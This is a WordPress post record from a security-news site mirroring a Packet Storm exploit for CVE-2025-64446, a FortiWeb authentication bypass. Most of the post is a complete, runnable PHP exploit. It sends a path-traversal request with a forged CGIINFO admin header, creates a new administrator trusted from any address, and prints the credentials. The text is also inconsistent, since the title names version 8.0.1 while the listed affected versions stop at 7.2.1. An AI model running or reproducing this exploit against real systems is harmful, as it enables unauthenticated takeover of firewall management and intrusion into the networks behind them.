{"id":27859,"date":"2025-11-27T12:49:58","date_gmt":"2025-11-27T12:49:58","guid":{"rendered":"http:\/\/localhost\/?p=27859"},"modified":"2025-11-27T12:49:58","modified_gmt":"2025-11-27T12:49:58","slug":"fortiweb-801-authentication-bypass","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=27859","title":{"rendered":"\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:51:55&#8243;,&#8221;description&#8221;:&#8221;A critical authentication bypass vulnerability exists in FortiWeb web application firewalls that allows unauthenticated attackers to create administrative users via path traversal in the API endpoint. Version 8.0.1 is affected&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212155&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-64446&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : FortiWeb 8.0.1 Authentication Bypass to Unauthorized User Creation                                                          |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.fortinet.com\/                                                                                                   |\\n    =============================================================================================================================================\\n    \\n    POC : \\n    \\n    [+] References : https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2025-64446  \\n    \\n                     https:\/\/packetstorm.news\/files\/id\/211729\/\\n    \\n                     https:\/\/fortiguard.fortinet.com\/psirt\/FG-IR-25-071\\n    \\n    [+] Summary\\n       \\n        A critical authentication bypass vulnerability exists in FortiWeb web application firewalls that allows unauthenticated attackers to create administrative users via path traversal in the API endpoint. \\n    \\tThis vulnerability enables complete compromise of the FortiWeb management interface.\\n    \\t\\n    [+] Vulnerability Type: Authentication Bypass via Path Traversal \u2192 Unauthorized User Creation\\n    \\n    \u2022 Affected Versions: FortiWeb 7.2.1 and earlier, 7.0.6 and earlier, 6.4.2 and earlier, 6.3.7 and earlier\\n    \u2022 Patched Version: 7.2.2, 7.0.7, 6.4.3, 6.3.8\\n    \u2022 Attack Vector: Network\\n    \u2022 Authentication: Not Required (Unauthenticated)\\n    \u2022 CVSS Score: 9.8 (Critical)\\n    \u2022 CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory (&#8216;Path Traversal&#8217;) \\u0026 CWE-862: Missing Authorization\\n    \u2022 CVE: CVE-2025-64446\\n    \\n    [+] Technical Description\\n    \\n    The vulnerability exists in the FortiWeb API endpoint handling where improper path validation allows attackers to bypass authentication mechanisms. The flaw enables:\\n    \\n    1. Path traversal to access privileged CGI endpoints\\n    2. Bypass of API authentication checks\\n    3. Unauthorized creation of administrative users\\n    4. Complete compromise of FortiWeb management\\n    \\n    [+] Usage: \\n    \\n    Usage: php poc.php fortigate.example.com:8443\\n    \\n    [+] POC :\\n    \\n    \\u003c?php\\n    \/**\\n     * CVE-2025-64446 Exploit &#8211; FortiWeb Authentication Bypass\\n     * By: indoushka\\n     *\/\\n    \\n    class FortiWebExploit {\\n        private $colors;\\n        \\n        public function __construct() {\\n            $this-\\u003ecolors = [\\n                &#8216;RED&#8217;     =\\u003e \\&#8221;\\\\033[91m\\&#8221;,\\n                &#8216;GREEN&#8217;   =\\u003e \\&#8221;\\\\033[92m\\&#8221;,\\n                &#8216;YELLOW&#8217;  =\\u003e \\&#8221;\\\\033[93m\\&#8221;,\\n                &#8216;BLUE&#8217;    =\\u003e \\&#8221;\\\\033[94m\\&#8221;,\\n                &#8216;MAGENTA&#8217; =\\u003e \\&#8221;\\\\033[95m\\&#8221;,\\n                &#8216;CYAN&#8217;    =\\u003e \\&#8221;\\\\033[96m\\&#8221;,\\n                &#8216;WHITE&#8217;   =\\u003e \\&#8221;\\\\033[97m\\&#8221;,\\n                &#8216;BOLD&#8217;    =\\u003e \\&#8221;\\\\033[1m\\&#8221;,\\n                &#8216;RESET&#8217;   =\\u003e \\&#8221;\\\\033[0m\\&#8221;\\n            ];\\n        }\\n        \\n        private function color($text, $color) {\\n            return $this-\\u003ecolors[$color] . $text . $this-\\u003ecolors[&#8216;RESET&#8217;];\\n        }\\n        \\n        private function showBanner() {\\n            $banner = $this-\\u003ecolor(\\&#8221;\\n     \\n     indoushka (*) FortiWeb Authentication Bypass Artifact Generator\\n     \\n    \\n    \\&#8221;, &#8216;MAGENTA&#8217;) . \\n    $this-\\u003ecolor(\\&#8221;        CVEs: [CVE-2025-64446]\\\\n\\&#8221;, &#8216;RED&#8217;);\\n    \\n            echo $banner . \\&#8221;\\\\n\\&#8221;;\\n        }\\n        \\n        private function generateUUID() {\\n            return sprintf(&#8216;%04x%04x&#8217;, mt_rand(0, 0xffff), mt_rand(0, 0xffff));\\n        }\\n        \\n        public function execute($target) {\\n            $this-\\u003eshowBanner();\\n            \\n            \/\/ Parse target host and port\\n            $parts = explode(&#8216;:&#8217;, $target);\\n            if (count($parts) !== 2) {\\n                echo $this-\\u003ecolor(\\&#8221;[-] Invalid format! Use \\u003chost:port\\u003e\\&#8221;, &#8216;RED&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                exit(1);\\n            }\\n            \\n            $host = $parts[0];\\n            $port = (int)$parts[1];\\n            $user = $this-\\u003egenerateUUID();\\n            $password = $user;\\n            \\n            $rawPath = \\&#8221;\/api\/v2.0\/cmdb\/system\/admin%3f\/..\/..\/..\/..\/..\/cgi-bin\/fwbcgi\\&#8221;;\\n            \\n            $cgiinfoJson = [\\n                \\&#8221;username\\&#8221; =\\u003e \\&#8221;admin\\&#8221;,\\n                \\&#8221;profname\\&#8221; =\\u003e \\&#8221;prof_admin\\&#8221;,\\n                \\&#8221;vdom\\&#8221; =\\u003e \\&#8221;root\\&#8221;,\\n                \\&#8221;loginname\\&#8221; =\\u003e \\&#8221;admin\\&#8221;\\n            ];\\n            \\n            $cgiinfoB64 = base64_encode(json_encode($cgiinfoJson));\\n            \\n            $headers = [\\n                \\&#8221;CGIINFO: \\&#8221; . $cgiinfoB64,\\n                \\&#8221;Content-Type: application\/x-www-form-urlencoded\\&#8221;,\\n            ];\\n            \\n            $body = [\\n                \\&#8221;data\\&#8221; =\\u003e [\\n                    \\&#8221;q_type\\&#8221; =\\u003e 1,\\n                    \\&#8221;name\\&#8221; =\\u003e $user,\\n                    \\&#8221;access-profile\\&#8221; =\\u003e \\&#8221;prof_admin\\&#8221;,\\n                    \\&#8221;access-profile_val\\&#8221; =\\u003e \\&#8221;0\\&#8221;,\\n                    \\&#8221;trusthostv4\\&#8221; =\\u003e \\&#8221;0.0.0.0\/0\\&#8221;,\\n                    \\&#8221;trusthostv6\\&#8221; =\\u003e \\&#8221;::\/0\\&#8221;,\\n                    \\&#8221;last-name\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;first-name\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;email-address\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;phone-number\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;mobile-number\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;hidden\\&#8221; =\\u003e 0,\\n                    \\&#8221;comments\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;sz_dashboard\\&#8221; =\\u003e -1,\\n                    \\&#8221;type\\&#8221; =\\u003e \\&#8221;local-user\\&#8221;,\\n                    \\&#8221;type_val\\&#8221; =\\u003e \\&#8221;0\\&#8221;,\\n                    \\&#8221;admin-usergrp_val\\&#8221; =\\u003e \\&#8221;0\\&#8221;,\\n                    \\&#8221;wildcard_val\\&#8221; =\\u003e \\&#8221;0\\&#8221;,\\n                    \\&#8221;accprofile-override_val\\&#8221; =\\u003e \\&#8221;0\\&#8221;,\\n                    \\&#8221;sshkey\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;passwd-set-time\\&#8221; =\\u003e 0,\\n                    \\&#8221;history-password-pos\\&#8221; =\\u003e 0,\\n                    \\&#8221;history-password0\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;history-password1\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;history-password2\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;history-password3\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;history-password4\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;history-password5\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;history-password6\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;history-password7\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;history-password8\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;history-password9\\&#8221; =\\u003e \\&#8221;\\&#8221;,\\n                    \\&#8221;force-password-change\\&#8221; =\\u003e \\&#8221;disable\\&#8221;,\\n                    \\&#8221;force-password-change_val\\&#8221; =\\u003e \\&#8221;0\\&#8221;,\\n                    \\&#8221;password\\&#8221; =\\u003e $password\\n                ]\\n            ];\\n            \\n            $bodyData = json_encode($body);\\n            \\n            echo $this-\\u003ecolor(\\&#8221;[~] Sending exploit payload to $host:$port &#8230;\\&#8221;, &#8216;BLUE&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            \\n            \/\/ Create SSL context to disable verification\\n            $context = stream_context_create([\\n                &#8216;ssl&#8217; =\\u003e [\\n                    &#8216;verify_peer&#8217; =\\u003e false,\\n                    &#8216;verify_peer_name&#8217; =\\u003e false,\\n                    &#8216;allow_self_signed&#8217; =\\u003e true\\n                ],\\n                &#8216;http&#8217; =\\u003e [\\n                    &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n                    &#8216;header&#8217; =\\u003e implode(\\&#8221;\\\\r\\\\n\\&#8221;, $headers) . \\&#8221;\\\\r\\\\n\\&#8221;,\\n                    &#8216;content&#8217; =\\u003e $bodyData,\\n                    &#8216;ignore_errors&#8217; =\\u003e true\\n                ]\\n            ]);\\n            \\n            $url = \\&#8221;https:\/\/$host:$port$rawPath\\&#8221;;\\n            \\n            \/\/ Send the request\\n            $response = @file_get_contents($url, false, $context);\\n            \\n            if ($response === false) {\\n                echo $this-\\u003ecolor(\\&#8221;[\u2717] Exploit failed &#8211; Could not connect to target\\&#8221;, &#8216;RED&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                exit(1);\\n            }\\n            \\n            \/\/ Get HTTP status code from response headers\\n            $statusCode = 0;\\n            if (isset($http_response_header[0])) {\\n                preg_match(&#8216;\/HTTP\\\\\/\\\\d\\\\.\\\\d\\\\s+(\\\\d+)\/&#8217;, $http_response_header[0], $matches);\\n                $statusCode = isset($matches[1]) ? (int)$matches[1] : 0;\\n            }\\n            \\n            \/\/ Process result\\n            if ($statusCode === 200) {\\n                echo $this-\\u003ecolor(\\&#8221;[\u2713] Exploit sent successfully!\\&#8221;, &#8216;GREEN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                echo $this-\\u003ecolor(\\&#8221;[*] New user created \u2192 \\&#8221;, &#8216;YELLOW&#8217;) . $this-\\u003ecolor($user, &#8216;GREEN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                echo $this-\\u003ecolor(\\&#8221;[*] Password         \u2192 \\&#8221;, &#8216;YELLOW&#8217;) . $this-\\u003ecolor($password, &#8216;GREEN&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            } else {\\n                echo $this-\\u003ecolor(\\&#8221;[\u2717] Exploit failed \u2014 Status Code: $statusCode\\&#8221;, &#8216;RED&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                \\n                \/\/ Debug information\\n                if (!empty($http_response_header)) {\\n                    echo $this-\\u003ecolor(\\&#8221;[*] Response headers:\\&#8221;, &#8216;YELLOW&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                    foreach ($http_response_header as $header) {\\n                        echo \\&#8221;    $header\\\\n\\&#8221;;\\n                    }\\n                }\\n                \\n                if (!empty($response)) {\\n                    echo $this-\\u003ecolor(\\&#8221;[*] Response body:\\&#8221;, &#8216;YELLOW&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                    echo substr($response, 0, 500) . \\&#8221;\\\\n\\&#8221;;\\n                }\\n            }\\n        }\\n    }\\n    \\n    \/\/ Main execution\\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        if ($argc !== 2) {\\n            echo \\&#8221;Usage: php cve-2025-64446.php \\u003ctarget_fortiweb_ip:port\\u003e\\\\n\\&#8221;;\\n            echo \\&#8221;Example: php cve-2025-64446.php 192.168.1.1:443\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $exploit = new FortiWebExploit();\\n        $exploit-\\u003eexecute($argv[1]);\\n    } else {\\n        echo \\&#8221;This script is intended for command line use only.\\\\n\\&#8221;;\\n    }\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212155&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212155\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:51:55&#8243;,&#8221;description&#8221;:&#8221;A critical authentication bypass vulnerability exists in FortiWeb web application firewalls that allows unauthenticated attackers to create administrative users via path traversal in the API&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-27859","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=27859\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:51:55&#8243;,&#8221;description&#8221;:&#8221;A critical authentication bypass vulnerability exists in FortiWeb web application firewalls that allows unauthenticated attackers to create administrative users via path traversal in the API...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=27859\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-27T12:49:58+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27859#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27859\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155\",\"datePublished\":\"2025-11-27T12:49:58+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27859\"},\"wordCount\":1186,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27859#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27859\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27859\",\"name\":\"\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-27T12:49:58+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27859#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27859\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27859#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=27859","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-27T17:51:55&#8243;,&#8221;description&#8221;:&#8221;A critical authentication bypass vulnerability exists in FortiWeb web application firewalls that allows unauthenticated attackers to create administrative users via path traversal in the API...","og_url":"https:\/\/zero.redgem.net\/?p=27859","og_site_name":"zero redgem","article_published_time":"2025-11-27T12:49:58+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=27859#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=27859"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155","datePublished":"2025-11-27T12:49:58+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=27859"},"wordCount":1186,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=27859#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=27859","url":"https:\/\/zero.redgem.net\/?p=27859","name":"\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-27T12:49:58+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=27859#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=27859"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=27859#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 FortiWeb 8.0.1 Authentication Bypass_PACKETSTORM:212155"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27859","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=27859"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27859\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=27859"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=27859"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=27859"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}